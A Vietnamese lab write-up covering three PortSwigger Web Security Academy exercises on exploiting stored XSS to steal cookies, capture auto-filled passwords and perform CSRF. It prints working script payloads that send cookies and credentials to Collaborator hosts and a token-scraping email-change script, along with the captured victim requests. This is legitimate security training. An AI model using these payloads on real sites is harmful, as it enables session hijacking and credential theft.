Có ba cách khai thác lỗ hổng XSS:
Exploiting Cross-site Scripting to Steal Cookies
Có thể khai thác lỗ hổng XSS để gửi cookie của nạn nhân về một domain mà chúng ta kiểm soát rồi dùng nó để mạo danh nạn nhân truy cập trang web.
Một số hạn chế:
- Nạn nhân chưa đăng nhập.
- Nhiều ứng dụng sử dụng attribute
HttpOnly
để giấu cookie. - Các session có thể được khóa chặt vào một số yếu tố bổ sung chẳng hạn như IP của người dùng.
- Session có thể timeout trước khi ta có sử dụng cookie để mạo danh.
Lab: Exploiting Cross-site Scripting to Steal Cookies
Mô tả lab:
- Tồn tại lỗ hổng stored XSS ở chức năng comment.
- Mục tiêu là gửi cookie về Burp Suite Collaborator và mạo danh nạn nhân.
Đăng một comment:
POST /post/comment HTTP/2
Host: 0a060022037be7018134b2c8007000c3.web-security-academy.net
Cookie: session=gMJMOeNWM952xm5HnF9p2z4BNZGeeClS
Content-Length: 126
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a060022037be7018134b2c8007000c3.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a060022037be7018134b2c8007000c3.web-security-academy.net/post?postId=9
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
csrf=cdWtJ0Q37nXSuvaAFYPCDwTnhwU4kF3i&postId=9&comment=hello&name=hello&email=hello%40hello.com&website=http%3A%2F%2Fhello.com
Comment được hiển thị như sau:
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">
<a id="author" href="http://hello.com">hello</a> | 15 April 2024
</p>
<p>hello</p>
<p></p>
</section>
Sử dụng payload sau ở param comment
:
<script>alert(1)</script>
Kết quả: thực thi được hàm alert
.
Dùng payload sau để gửi cookie về Collaborator:
<script>fetch(`https://075pooexgrdu77fy8d7fl63lzc53twhl.oastify.com?cookie=${document.cookie}`)</script>
Request nhận được từ ứng dụng:
GET /?cookie=secret=0EMF8XfAu0KBZE0MIzo5CGUH6lXFSKrI;%20session=yXVaNFDsMAdr6KjnLwsy6iA8eWF4xNsI HTTP/1.1
Host: 075pooexgrdu77fy8d7fl63lzc53twhl.oastify.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Origin: https://0a060022037be7018134b2c8007000c3.web-security-academy.net
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a060022037be7018134b2c8007000c3.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Sửa cookie trong trình duyệt để mạo danh và hoàn thành lab.
Exploiting Cross-site Scripting to Capture Passwords
Có thể tạo ra một password input để đọc auto-filled password từ password manager và gửi đến domain mà ta kiểm soát. Điểm yếu của cách khai thác này là nạn nhân cần sử dụng password manager mà có thực hiện auto-fill.
Lab: Exploiting Cross-site Scripting to Capture Passwords
Mô tả lab:
- Tồn tại lỗ hổng stored XSS ở trong phần comment.
- Mục tiêu là gửi username và password của nạn nhân đến domain mà ta kiểm soát rồi dùng chúng để đăng nhập.
Xây dựng các thẻ input như sau:
<input name="username" id="username">
<input name="password" onchange="
if(this.value.length)
fetch(`https://m1obia8jad7g1t9k2z11fsx7tyzpnkb9.oastify.com
?username=${document.querySelector('#username').value}
&password=${this.value}`)"
>
Thực hiện khai thác XSS thì console hiển thị thông báo sau:
Access to fetch at 'https://m1obia8jad7g1t9k2z11fsx7tyzpnkb9.oastify.com/?username=&password=' from origin 'https://0a3f00eb03a2e11c819d70b300770064.web-security-academy.net' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. If an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled.
Thông báo trên cho biết có CORS tồn tại, ta cần bypass bằng cách thêm option mode: "no-cors"
1:
<input name="username" id="username">
<input name="password" onchange="
if(this.value.length)
fetch(`https://m1obia8jad7g1t9k2z11fsx7tyzpnkb9.oastify.com
?username=${document.querySelector('#username').value}
&password=${this.value}`,{mode:'no-cors'})"
>
Request từ ứng dụng gửi sang Collaborator:
GET /?username=administrator&password=57lknvnamqdceza8kpw5 HTTP/1.1
Host: m1obia8jad7g1t9k2z11fsx7tyzpnkb9.oastify.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
Referer: https://0a3f00eb03a2e11c819d70b300770064.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Dùng tài khoản trên để đăng nhập.
Exploiting Cross-site Scripting to Perform CSRF
Chúng ta có thể triển khai CSRF attack nếu có thể khai thác XSS.
Lab: Exploiting XSS to Perform CSRF
Mô tả lab:
- Tồn tại lỗ hổng stored XSS trong chức năng bình luận.
- Mục tiêu là thực hiện CSRF attack và thay đổi email của bất kỳ ai xem bình luận.
- Tài khoản được cung cấp là
wiener:peter
.
Đăng nhập vào tài khoản được cấp rồi đổi email. Request đổi email:
POST /my-account/change-email HTTP/2
Host: 0ac700bf03ffe37784308b7200500050.web-security-academy.net
Cookie: session=y8I0pSIk1g1JzRRDlqFwen8moWXXhujk
Content-Length: 68
Cache-Control: max-age=0
Sec-Ch-Ua: "Microsoft Edge";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0ac700bf03ffe37784308b7200500050.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0ac700bf03ffe37784308b7200500050.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
email=wiener%40normal-user.net&csrf=DjK2lzgoFxX3Ck87pZMKUsBhwcds7erS
Có thể thấy, trang web sử dụng CSRF token.
Do có thể khai thác stored XSS nên ta có thể lấy token này.
Payload sử dụng:
<script>
fetch("https://0ac700bf03ffe37784308b7200500050.web-security-academy.net/my-account")
.then((res) => {
return res.text();
})
.then((html) => {
console.log(html);
const matches = html.match(/value=".{32}/);
const csrfToken = matches[0].split("=")[1].replace('"', "");
fetch("https://0ac700bf03ffe37784308b7200500050.web-security-academy.net/my-account/change-email", {
method: "post",
credentials: "include",
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: new URLSearchParams({
'email': 'csrf@normal-user.net',
'csrf': csrfToken
})
})
})
.catch(function (err) {
// There was an error
console.warn('Something went wrong.', err);
});
</script>
Giải thích payload trên:
- Sử dụng hàm
text
để đọc response trả về của endpoint/my-account
. Giá trị trả về là một Promise mà sẽ resolve thành kiểu String. - Dùng các hàm xử lý chuỗi để tìm CSRF token và trích xuất giá trị.
- Hàm
fetch
gửi request đến endpoint/my-account/change-email
có các option sau:credentials: "include"
: giúp đính kèm cookie.headers: {'Content-Type': 'application/x-www-form-urlencoded'}
: dùng để khai báo định dạng của body.body
: bao gồm các param tương tự như trong request thay đổi email.
Related
list
from outgoing([[PortSwigger - Exploiting Cross-Site Scripting Vulnerabilities]])
sort file.ctime asc